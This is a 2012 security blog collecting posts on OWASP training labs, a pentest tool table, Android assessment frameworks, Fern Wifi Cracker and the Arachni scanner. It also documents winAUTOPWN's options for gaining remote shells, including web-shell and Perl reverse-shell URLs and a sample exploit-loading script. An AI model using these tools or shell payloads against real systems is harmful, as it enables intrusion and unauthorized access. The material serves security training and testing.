Sunday, December 23, 2012

OWASP - Web Security Training

OWASP - Open Web Application Security Project :

                                               is a open-source application security project. The OWASP community includes corporations, educational organizations, and individuals from around the world. This community works to create freely-available articles, methodologies, documentation, tools, and technologies.


OWASP Testing Guide :

January 2004
–"The OWASP Testing Guide", Version 1.0

July 14, 2004
–"OWASP Web Application Penetration Checklist", Version 1.1



Download Link : OWASP Ver 1.1


December 25, 2006
–"OWASP Testing Guide", Version 2.0
Download Link  MS- DOC Format : OWASP Ver 2.0  
Download Link PDF-Format   : OWASP Ver 2.0
15th September, 2008
–"OWASP Testing Guide", Version 3.0

Download Link MS-PPT Format : OWASP Ver 3.0
Download Link PDF Format : OWASP Ver 3.0

Video Tutorials :

OWASP AppSec Basics :


OWASP SQL Injection :
OWASP Cross Site Scripting :

OWASP Strict Transport Security :

Setting Up OWASP Web Security Learning Lab with OWASP ZAP :


Installation

Required Software

 Setup

  1. Install VirtualBox
  2. Unzip OWASP Broken Web Apps VM into any directory (don't pick restricted directories that require admin or sudo to access)
  3. Open VirtualBox and hit the icon for "New"
    • VM Name and OS Type: Enter name "OWASP-BWA" and select OS "Linux" and Version "Ubuntu"
    • Memory: Default of 512 is fine
    • Virtual Hard Disk: Important Select "Use existing hard disk" and click on the folder.
    • Browse to the unzipped folder contents of the OWASP Broken Web Apps VM. Select "OWASP Broken Web Apps.vmdk" Note: There are similar files ending in -s001. Don't pick those.
    • Click OK to finish VM Setup
  4. Right click on OWASP-BWA in the left pane of the Oracle VM VirtualBox Manager App and select "Settings" (also available via menu Machine->Settings)
    • Go to Settings->Network->Adapter 1.
    • Make sure the checkmark for enabled is checked.
    • Change "Attached to:" from "NAT: to "Host-Only Adapter"
    • Click OK
  5. Right click on OWASP-BWA in the left pane of the Oracle VM VirtualBox Manager App and hit "Start"
  6. After the VM boots the OWASP-BWA login page will provide the following message (the IP address will be similar but not exactly this)

  7. You can access the web apps at http://192.168.56.101

  8. Open a browser on your main machine (not the VM) and go to this URL. It should load a page that starts with "OWASP Broken Web Applications"
  9. Note: You don't need to actually login to the virtual machine. Everything is already running.

Common Errors

  • Boot Up Error Message - Kernel requires feature on CPU: pae
    • Power off VM (not VirtualBox, just VM window)
    • Right click on OWASP-BWA on left side and select "Settings" (also available via menu Machine->Settings)
    • Go to System->Processor and enable PAE
    • Click OK and restart VM
  • Host Only Adapter Shows Error Message and Name says "not selected" with no options
    • Go to the VirtualBox Manager (e.g. the main virtualbox control app, not the individual vm)
    • Go to the VirtualBox->Preferences and then select "Network" (note: these are settings for the virtualbox app overall)
    • There is text box with the title "Host-only Networks:" it is most likely an empty text area and this is the problem
    • Click the plus icon on the right to add a new adapter. You should now see "vboxnet0"
    • Click ok and then go back to the VMs preferences. You should be able to select the hostonly adapter now
  • Keyboard and mouse trapped in VM
    • Mac: Hit the left command button to exit VM control
    • Windows: Left Alt??
    • Simply click back inside the vm with the mouse to regain keyboard control in the VM

Training PDF : Click Here 

OWASP WebScarab Proxy Training : 

                 
                                      WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. It is written in Java, and is thus portable to many platforms. WebScarab has several modes of operation, implemented by a number of plugins. In its most common usage, WebScarab operates as an intercepting proxy, allowing the operator to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser. WebScarab is able to intercept both HTTP and HTTPS communication. The operator can also review the conversations (requests and responses) that have passed through WebScarab.

Download

Windows : Click Here  or Alernate Link Click Here

Linux: java -jar ./webscarab-selfcontained-[numbers].jar

Video Training Click Here: http://yehg.net 

Sample Video : 


OWASP Webgoat Training :

                                    WebGoat is a deliberately insecure J2EE web application designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson. 

Download Link : WebGoat V 5.4


Training Documentation :

References to WebGoat documentation or solutions.

Sample Video : 





Hacking-Lab is providing the FREE OWASP TOP 10 : 

         
                                                    hands-on lab as a service to the OWASP Academy Portal and to the OWASP community. Those training material is reviewed and approved by the OWASP Academy Portal Project members in order to set and maintain an OWASP-worthy training quality.

Installation :

These are the simple steps I followed on a Windows 7 laptop.


  • Dowload the Virtual Appliance OVA file to your laptop
  • Download and install the Oracle Virtual Box  application onto your laptop
  • Double-click the .ova file through Windows Explorer and the appliance import process should commence on the Virtual Box application. You should see something like Fig 1:
Fig. 1: Oracle VM Virtual Box Manager
  •  In  theVirtual Box Manager left-hand pane double-click on the LiveCD-Hacking-Lab-V5.55 entry. The LiveCD should start and after a short while  the Welcome screen as shown in Fig 2 should appear.
Fig 2: Welcome Screen
You should be ready to go now at the OWASP Security Training.


Training Videos - Hacking_Lab LiveCD
Video Description
Details
How to use 2 different (attacker/victim) browser instances
Learn how to use 2 different (attacker/victim) browser instances (The Firefox Profiles are available on LiveCD V5.83 and newer)
How to use the ZAP browser in the LiveCD
Tutorial; ZAP Web Inspection Proxy on LiveCD
How to setup a landing page on the LiveCD
Tutorial; ZAP Web Inspection Proxy on LiveCD
How to import LiveCD in VirtualBox 
Learn how to import the LiveCD ova file into VirtualBox
How to import LiveCD in VMware
Learn how to import the LiveCD ova file into VMware
Run Hacking-Lab LiveCD with Vmware 8 workstation
Learn how to use the LiveCD ISO with Vmware 8 workstation
Installation of LiveCD in Vmware 8 workstation
Learn how to install the LiveCD ISO in your Vmware 8 workstation
How to open a root shell
Learn how to open a "root" shell
Server side VDI solution Learn how to use the server side VDI solution

Hacking-Lab Download 

document-open Documents and Videos
document-open Hacking-Lab LiveCD 

Tools listed in the OWASP Testing Guide


OWASP Testing Guide Tools for your reference.

Most of the Below tools available in OWASP LIVE CD v 2.0




Name
Website
License
Install from
OWASP Tool
OWASP Guide Page(s)
Notes
httprint Web Site Commercial see also N/A No 52
telnet Web Site GPLv3 source No 58
Site Digger (Foundstone) Web Site Commercial see also N/A No 66, A-331 .Net
Burb Suite Web Site Other see also N/A No 66, 134, 243, 275, A-332 Java .jar file
wikto Web Site Commercial N/A No 62, 66, 106, A-331 .Net
googlegath Web Site FOSS source No 66 Perl
SSLDigger Web Site Commercial see also N/A No 84, A-332 .Net
curl Web Site MIT/X derivate license see also source No 99, 106, A-334
nikto Web Site GPL source No 99, 106 Perl
nessus Web Site Commercial N/A No 62, 84, 99, 106 Write an install guide
nc Web Site as-is source No 46, 104, A-332 The original
netcat Web Site GPL source No No (see nc) GNU re-write of nc
SPIKE Proxy Web Site GPL source No 106 Python
Xenu Web Site Freeware but no source N/A No 106, A-334 Windows binary
brutus Web Site dead? 122, 123, A-332 Unable to locate
THC Hydra Web Site GPL v2 source No 123, A-332
John the Ripper Web Site GPL v2 source No 123, A-332
Add and Edit Cookies Web Site MPL 1.1 source No 140 FF Add-on
cookie digger Web Site Commercial N/A No 162 .Net
SQLiX Web Site FOSS source Yes 200, A-331 Perl
SLQInjector Web Site unknown, source provided N/A No 200, 210, 217, 227, A-331 Windows Binary
Sqlbftools Web Site FOSS source No 200, 217, A-331 Perl version also available here
sqlmap Web Site GPL v2 source SoC 2007 Web Site] 200, 217, 227, A-331 Python
sqlninja Web Site GPL v2 source No 200, 210, 217, 227, A-331 Perl
SqlDumper Web Site FOSS source No 200, 217, A-331 Java – site is in Italian & nice flash demo
OraScan Web Site Commercial N/A No 210 Windows binary
NGSSSQuirreL Web Site Commercial N/A No 210 Windows binary
Integrigy Web Site Commercial Freeware N/A No 86 Windows binary
tnscmd Web Site GPL source No 90, A-332 Perl
Toad Web Site Commerical, Trial & Freeware versions N/A No 88, 90, A-332 Windows binary
NTOIncide Web Site No 66 Appears to be no longer supported or available
Bobcat Web Site Unknown, no source N/A No 227 Windows binary
Softerra LDAP browser Web Site Freeware N/A No 230 Windows binary
OllyDbg Web Site GPL source No 261, 266, A-332 Windows software
Spike Web Site GPL source No 261, 266, A-331, A-332
BFBTester Web Site GPL source No 261, 266, A-332
Metasploit Web Site Metasploit Framework License v1.2 source No 261, 266, 275, 293, A-332 Ruby
ITS4 Security Scanner Web Site Non-Commercial see also source No 271
idabase Web Site Commercial No 271 Appears to no longer be available in this form
format string builder Web Site FOSS source No 271 Pen Test list post
XSS-Proxy Web Site FOSS source No 275 Perl
EICAR file Web Site Freeware? source No 298 Anti-Virus test file
TCPreplay Web Site BSD source No 300 manual
Sprajax Web Site LGPL source Yes 313, A-331 .Net
Venkman Web Site FOSS likely MPL source No 314 FF Add-on
Ghost Train Web Site No 314 Unable to locate. Referenced here
Squish Web Site Commercial N/A No 314
JsUnit Web Site GPL, LGPL MPL source No 314 Also an Eclipse plugin
OWASP Pantera Web Site GPL, LGPL source Yes A-331 Python
Achilles Proxy Web Site Freeware N/A No A-331 Windows binary
Odysses Web Site Freeware N/A No A-331 Windows binary
webstretch Web Site GPL v2 .jar only No A-331 Java
LiveHTTP Headers Web Site MPL ? source No A-331 FF Add-on
Absinthe Web Site GPL v2 source No A-331 .Net and Mono
OWASP WSFuzzer Web Site LGPL source Yes A-332 Python
stack No 261 Unable to locate
RATS Web Site GPL source No A-333
FlawFinder Web Site GPL v2 source No A-333 Python
FxCop Web Site Freeware N/A No A-333 Windows binary download here
splint Web Site GPL source No A-333
BOON Web Site BSD style license source No A-333
Pscan Web Site No A-333 Site unavailable
Watir Web Site BSD source No A-333 Ruby
HtmlUnit Web Site Apache 2 source No A-333 Java
JWebUnit Web Site GPL source No A-333 Java
Canoo WebTest Web Site Apache 2 source No A-333 Java
HttpUnit Web Site FOSS see also source No A-334 Java
Watij Web Site GPL source No A-334 Java
Solex Web Site Apache source No A-334 Java
Selenium Web Site Apache 2.0 source No A-334

Live CD - OWASP - Open Web Application Security Project :

 

 



Reference : OWASP Live CD

Thursday, December 20, 2012

Android Application Vulnerability / Security Assessment Tools & Framework

Android Security Evaluation Framework (ASEF) :
                                               performs this analysis while alerting you about other possible issues. It will make you aware of unusual activities of your apps, will expose vulnerable components and help narrow down suspicious apps for further manual research. The framework will take a set of apps (either pre-installed on a device or as individual APK files) and migrate them to the test suite where it will run it through test cycles on a pre-configured Android Virtual Device (AVD).

                            ASEF is a Open Source Project to perform security analysis of Android Apps by various security measures                         

                            ASEF is an Open Source tool for scanning Android Devices for security evaluation. Users will gain access to security aspects of android apps by using this tool with its default settings. An advanced user can fine-tune this, expand upon this idea by easily integrating more test scenarios, or even find patterns out of the data it already collects. ASEF will provide automated application testing and facilitate a plug and play kind of environment to keep up with the dynamic field of Android Security.

YouTude Videos :

Demo : Running ASEF to test all installed android apps from an android device on an Android Virtual Device



Short Demo : Running ASEF to test all installed android apps from an android device on an another physical android device

 

Download Link : Android Security Evaluation Framework


Tools :

Mercury v1.1 Tool - 

                              bug hunters to find vulnerabilities & write proof-of-concept exploits in Android Application. Simple called as Android Apps Vulnerability Scanner. 

 

                            Mercury is a framework for exploring the Android platform; to find vulnerabilities and share proof-of-concept exploits.

                         Mercury allows you to assume the role of a low-privileged Android app, and to interact with both other apps and the system.
  • Use dynamic analysis on Android applications and devices for quicker security assessments
  • Share publicly known methods of exploitation on Android and proof-of-concept exploits for applications and devices
  • Write custom tests and exploits, using the easy extensions interface
Mercury allows you to:
  1. Interact with the 4 IPC endpoints - activities, broadcast receivers, content providers and services
  2. Use a proper shell that allows you to play with the underlying Linux OS from the point of view of an unprivileged application (you will be amazed at how much you can still see)
  3. Find information on installed packages with optional search filters to allow for better control
  4. Built-in commands that can check application attack vectors on installed applications
  5. Transfer files between the Android device and your computer
  6. Create new modules to exploit your latest finding on Android, and playing with those that others have found
                For those of you interested in vulnerabilities in vendor products, the new version is the start of a collection of these in a framework. The first privilege escalation was included, allowing the escalation to root from Mercury’s unprivileged context. A module was created to check for vulnerabilities in content providers discovered on Samsung devices.

Sample results of running this module on a vulnerable version of the Samsung Galaxy SII is shown below:


Running this on the Samsung Galaxy SIII yields the following:

                               

Security consultants Sample Testing :

                  The first set of vulnerabilities found by the MWR team was done manually by reviewing the AndroidManifest.xml of each package on the phone. With Mercury, a combination of the attacksurface command and the the info command in each section will get you the same results in a tenth of the time. If you are interested in looking for common problems on devices, the scanner modules will be of interest to you. As an example, this is scanner.provider.sqlinjection finding SQL injection flaws in default content providers on an Android 4.0.3 Emulator.



                        Don’t get too excited, these SQL injection vulnerabilities don’t lead to any serious information disclosure, but you get the idea right? Don’t just look at content provider problems because these tools are available. Content providers are the tip of the iceberg! Ask us questions or bounce ideas. Create new modules with Mercury. Go forth and innovate!

   Download Link : Mercury v1.1

 

 





Wednesday, December 19, 2012

Fern Wifi Cracker - Wireless Penetration Testing Tool

Fern Wifi Cracker :
                       is a Wireless security auditing and attack software program written using the Python Programming Language and the Python Qt GUI library, the program is able to crack and recover WEP/WPA/WPS keys and also run other network based attacks on wireless or ethernet based networks

                          

Features


Fern Wifi Cracker currently supports the following features:
  • WEP Cracking with Fragmentation,Chop-Chop, Caffe-Latte, Hirte, ARP Request Replay or WPS attack
  • WPA/WPA2 Cracking with Dictionary or WPS based attacks
  • Automatic saving of key in database on successful crack
  • Automatic Access Point Attack System
  • Session Hijacking (Passive and Ethernet Modes)
  • Access Point MAC Address Geo Location Tracking
  • Internal MITM Engine
  • Bruteforce Attacks (HTTP,HTTPS,TELNET,FTP)
  • Update Support

Operating System Supported

The Software runs on any Linux machine with the programs prerequisites, But the program has been tested on the following Linux based operating systems:

Prerequisites

The Program requires the following to run properly:
The following dependencies can be installed using the Debian package installer command on Debian based systems using "apt-get install program" or otherwise downloaded and installed manually

    Installation

    Installation on Debian Package supported systems:

    root@host:~# dpkg -i Fern-Wifi-Cracker_1.6_all.deb



    Screenshot :

    Aim 

    • Crack the Wifi using Fern Wifi Cracker . 

    HOW TO OPEN FERN-WIFI-CRACKER

    • To open fern , follow the steps - 
    • Backtrack > Exploitation Tools > Wireless Exploitation Tools >WLAN Exploitation >fern-wifi-cracker 
    • See the below image for more details - 

    SELECT INTERFACE

    • First step is to select the interface .
    • Here in my case i have selected wlan0 interfaec .
    • See the below image for more details - 
    SCANNING ACCESS POINT 
    • To scan for Access Point click on the 2nd button ( wifi icon ).
    • See the below image for more details -
    • Once you get the Access Point , various AP's of WEP and WPA are detected .
    • See the below image for more details-

     

    WPA Cracking with WPS Attack:

    Video Tutorial :

    Session Hijacking With Fern Wifi Cracker


    Bruteforcing Routers with Fern-Wifi-Cracker


     
    Download Link : Click Here

    Tuesday, December 18, 2012

    Arachni - Web Application Security Scanner Framework

    Arachni :
                is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications. Arachni is smart, it trains itself by learning from the HTTP responses it receives during the audit process.
    Unlike other scanners, Arachni takes into account the dynamic nature of web applications and can detect changes caused while travelling through the paths of a web application’s cyclomatic complexity.

    This way attack/input vectors that would otherwise be undetectable by non-humans are seamlessly handled by Arachni.








    Currently available modules:

    • Audit:
      • SQL injection
      • Blind SQL injection using rDiff analysis
      • Blind SQL injection using timing attacks
      • CSRF detection
      • Code injection (PHP, Ruby, Python, JSP, ASP.NET)
      • Blind code injection using timing attacks (PHP, Ruby, Python, JSP, ASP.NET)
      • LDAP injection
      • Path traversal
      • Response splitting
      • OS command injection (*nix, Windows)
      • Blind OS command injection using timing attacks (*nix, Windows)
      • Remote file inclusion
      • Unvalidated redirects
      • XPath injection
      • Path XSS
      • URI XSS
      • XSS
      • XSS in event attributes of HTML elements
      • XSS in HTML tags
      • XSS in HTML ‘script’ tags
    • Recon:
      • Allowed HTTP methods
      • Back-up files
      • Common directories
      • Common files
      • HTTP PUT
      • Insufficient Transport Layer Protection for password forms
      • WebDAV detection
      • HTTP TRACE detection
      • Credit Card number disclosure
      • CVS/SVN user disclosure
      • Private IP address disclosure
      • Common backdoors
      • .htaccess LIMIT misconfiguration
      • Interesting responses
      • HTML object grepper
      • E-mail address disclosure
      • US Social Security Number disclosure
      • Forceful directory listing




    Sample Report :






    To scan via the user-friendlier Web User Interface, just run:

    arachni_web_autostart
     
    This will setup a Dispatcher and fire-up the WebUI server for you.

    Then, point your browser to http://localhost:4567, accept the default settings and start the scan.



    Download Link : Click Here


    Wednesday, December 12, 2012

    winAUTOPWN - Automated Vulnerability Testing

    WinAUTOPWN: 

                           is a minimal Interactive Exploit Framework which acts as a frontend for quick systems vulnerability exploitation. It is a collection of remote exploits using which one can compromise vulnerable systems. winAUTOPWN takes inputs like IP address, Hostname, CMS Path, etc. and does a smart multi-threaded portscan for TCP ports 1 to 65535. Open ports are then recognized and exploits applicable to those ports are executed with the aim of gaining a remote shell or the ability to run remote commands in certain cases.


                                       WINDOWS AUTOPWN or winAUTOPWN is an auto shell gaining // security penetration tool. It can also be used to test IDS, IPS and other monitoring sensors/softwares.


                                   Besides the above, winAUTOPWN can also be used as an efficiency testing tool for Intrusion Detection Systems (IDS) and Web Application Filters (WAF). winAUTOPWN has a vast repository of exploits for various Operating systems like Microsoft Windows, Apple MAC OSX, Linux (various), BSD systems as well as for well-known services and daemon software. winAUTOPWN also contains a massive database of Shell Upload Vulnerability, Remote File Inclusion and Remote Command Execution exploits. These can be fired one after the other instantly and this can aide is checking if the WAF is preventing / alerting accordingly against such threats or no. Similarly shell aiming exploits too can be fired up in a row to test the strength and effectiveness of IDS and IPS.

                                    WinAUTOPWN also has a BSD based cousin called bsdAUTOPWN. bsdAUTOPWN is a just like winAUTOPWN but is not an exact recompilation of winAUTOPWN. It has been written from scratch for and on FreeBSD OS to match the power and functionality offered by the Operating System. Like winAUTOPWN, even bsdAUTOPWN has a multi-threaded portscan feature and it too detects open ports and attempts to exploit them accordingly using the available exploits in the arsenal. We’ll come to a detailed discussion about bsdAUTOPWN later.



     
    Windows GUI as well, which takes similar inputs and feeds it to the main winAUTOPWN console:


    How to use command-line in winAUTOPWN ?

    Command-line usage has always been a mark of a power user in any console based penetration testing tool. winAUTOPWN’s entire interactive interface can be pre-fed with values using command line options as explained below :
    • -skipscan This option can force winAUTOPWN to skip the port-scan module and use the file OpenPorts.TXT in the directory. This is a useful feature when you know what open ports are available on your target system. One can just fill in the port numbers and save the file. This is also helpful in situations when you want winAUTOPWN to check for exploits for one or a few particular ports.
      Example winAUTOPWN.exe –skipscan
    • -onlyscan This option can force winAUTOPWN to skip the entire exploit testing modules. Hence, by using this module winAUTOPWN will only perform a PortScan and will exit after printing the list of OpenPorts .
      Example winAUTOPWN.exe –onlyscan
    • -targetIP This option can be used to provide the Target IP address of the system being tested. Ensure that you specify the IP address after it.
      Example winAUTOPWN.exe –targetIP 192.168.3.3
    • -targetHOST This option can be used to provide the Target Hostname of the system being tested. Ensure that you specify the complete Netbios name for Windows systems on LAN and the entire domain name for Target Systems on WAN.
      Example winAUTOPWN.exe –targetHOST SYSTEM-2
      winAUTOPWN.exe –targetHOST www.somewebsite9.com
    • -attackerIP This option can be used to provide your own IP, which is the Attacker’s IP address of the system from where winAUTOPWN is being run. Ensure that you specify the IP address after it.
      Example winAUTOPWN.exe –attackerIP 192.168.3.34
    • -cmsPATH This option can be used to specify the Content Management System directory name in the URL. Generally this is the first directory name right after the end of the Domain name or the IP address. Ensure that you specify the correct cmsPATH. You can leave this blank if you do not intend to test the web application vulnerability exploits.
      Example winAUTOPWN.exe –cmsPATH /xampp
    • -actcmsPATH This option can be used to specify the Actual Content Management System or the internal Actual CMS Path of the URL. Generally this is not visible in the URL. A lot of times CMS packages installed on the webserver have a default path making it easily guessable. Ensure that you specify the correct actcmsPATH. You can leave this blank if you do not intend to test the web application vulnerability exploits.
      Example winAUTOPWN.exe –actcmsPATH /Applications/xampp
      winAUTOPWN.exe –actcmsPATH /opt/xampp
    • -phpshellPATH This option can be used specify the path of the online PHP Web-shell which would be used along with the Remote File Inclusion Vulnerability Exploits. There is a default encoded PHP web-shell path. To change it, ensure that you specify the correct phpshellPATH which accepts a variable named CMD to execute system commands. The GET request should look like http://shellp.ath/shell.php?CMD=ls
      You can leave this blank if you do not intend to test the web application vulnerability exploits.
      Example winAUTOPWN.exe –phpshellPATH http://website.moc/folder/r57.txt
    • -actphpshellPATH This option can be used specify the actual internal path of the online PHP Web-shell which would be used along with the Remote File Inclusion Vulnerability Exploits. You can leave this blank if you do not intend to test the web application vulnerability exploits.
      Example winAUTOPWN.exe –actphpshellPATH /var/log/tmp
    • -cmsadminUSR This option can be used specify the administrator /admin username if known. This is required for a few web-app exploits to work correctly. You can leave this blank if you do not intend to test the web application vulnerability exploits.
      Example winAUTOPWN.exe –cmsadminUSR admin9
    • -ftpUSR This option can be used specify the FTP User name if known. This is required for a few FTP exploits to work correctly. If you leave this blank winAUTOPWN will set an internal default FTP Username.
      Example winAUTOPWN.exe –ftpUSR user6
    • -ftpPASSWD This option can be used specify the FTP Password if known. This is required for a few FTP exploits to work correctly. If you leave this blank winAUTOPWN will set an internal default FTP Password.
      Example winAUTOPWN.exe –ftpPASSWD S3cR37P@55W0rD
    • -perlrevshURL This option can be used specify the path of a remote Perl script which should be able to send a /bin/sh or an equivalent shell to a remote IP. The script should ideally have the capability to be invoked as perl . Note that the remote_IP will be your IP to which your target will connect and the remote_port will be a port opened on your IP. You do not have to worry about providing parameters to the Perl file or opening the port locally, winAUTOPWN will automatically handle it, because that’s what WINDOWS AUTOPWN actually means. Also note that any Perl script with these capabilities can be used and can be hosted on any webserver. This option just needs the path to this Perl file. This Perl script will be pointed to and used in a few exploits in which a remote connect back shell is used as a payload. There is a default Perl shell path encoded so if you have no clue or an online resource, you can leave this option blank and winAUTOPWN will try to handle it on its own.
      Example winAUTOPWN.exe –perlrevshURL http://website.moc/various/reverse-shell.pl
    • -mailFROM This option can be used to specify the sender’s email address to be used in a few SMTP exploits. This field has a default sender’s email address crafted by winAUTOPWN. It is always root@ where target hostname is the –targetHOST provided earlier. You can set a value to this field to override the default value set.
      Example winAUTOPWN.exe –mailFROM admin@some.web.info
    • -mailTO This option can be used specify the receiver’s email address to be used in a few SMTP Exploits. This field has a default receiver’s email address crafted by winAUTOPWN. It is always postmaster@ where target hostname is the –targetHOST provided earlier. You can set a value to this field to override the default value set.
      Example winAUTOPWN.exe –mailTO postmaster@some.web.info
    • -proxyIP This option can be used to provide the Proxy Server IP address. Do note that only a few exploits support Proxies and that too if you have supplied a Proxy IP and a Proxy port. Ensure that you specify the correct Proxy IP address after it.
      Example winAUTOPWN.exe –proxyIP 192.168.3.80
    • -proxyPORT This option can be used to provide the Proxy Server Port Number. Do note that only a few exploits support Proxies and that too if you have supplied a Proxy IP and a Proxy port. Ensure that you specify the correct Proxy Port Number address after it.
      Example winAUTOPWN.exe –proxyIP 8080


      What are the other WELF Scripting Terminologies?

      can be , , OR (for exe files)
      is the filename of the Exploit. Ex: exploitname.exe
      is your Target’s IP address. Ex: 10.40.140.1
      is your Target’s Hostname. Ex: www.somegate.com OR TSUNAMI-MP11
      is your IP. Ex: 10.40.140.144
      is the Target CMS Path. Ex: /awstats
      is the Actual CMS Path on the disk. Ex: /usr/home/www/awstats
      is an online URL for a php shell. Ex: http://www.shell.com/phpshell.txt
      is a admin username for the Target CMS.
      is FTP/CMS Username
      is FTP/CMS Password.
      is Proxy IP address to be used for some exploits to pass through
      is Proxy Port Number to be used for some exploits to pass through
      is the CMS Path with a trailing slah. Ex: /awstats/
      is the Actual CMS Path on the disk with a trailing slash. Ex: /usr/home/www/awstats/
      is the typical complete address of the Target Hostname alongwith the CMS Path. Ex: www.somesite.com/awstats<
      is the typical complete address of the Target Hostname alongwith the CMS Path with a trailing slash. Ex: www.somesite.com/awstats/
      is the CMS path following the standard http:// . Ex: http://www.somesite.com/awstats
      is the Target HostName following the standard http:// . Ex: http://www.somesite.com
      is the online URL for a perl reverse connect script. Ex. http://vrac.fifi.be/warehouse/various/reverse-shell.pl
      is the sender’s email address to be used in a few SMTP exploits.
      is the receiver’s email address to be used in a few SMTP exploits.
      Sample welf script (myWELFexploits.txt) with three exploits to be loaded:
      PERL webframe_0.76_RFI(c99)-xplt_method3.pl -vuln -shell ^^^^
      PYTHON Steamcast(HTTP_Request)_(SEH)_Rem_Buf_Ovrflw_xplt.py 80 100 ^^^^
      bitweaver_firecmd.exe ^^^^

      To run the above script, as mentioned earlier run
      winAUTOPWN.exe –welf myWELFexploits.txt 


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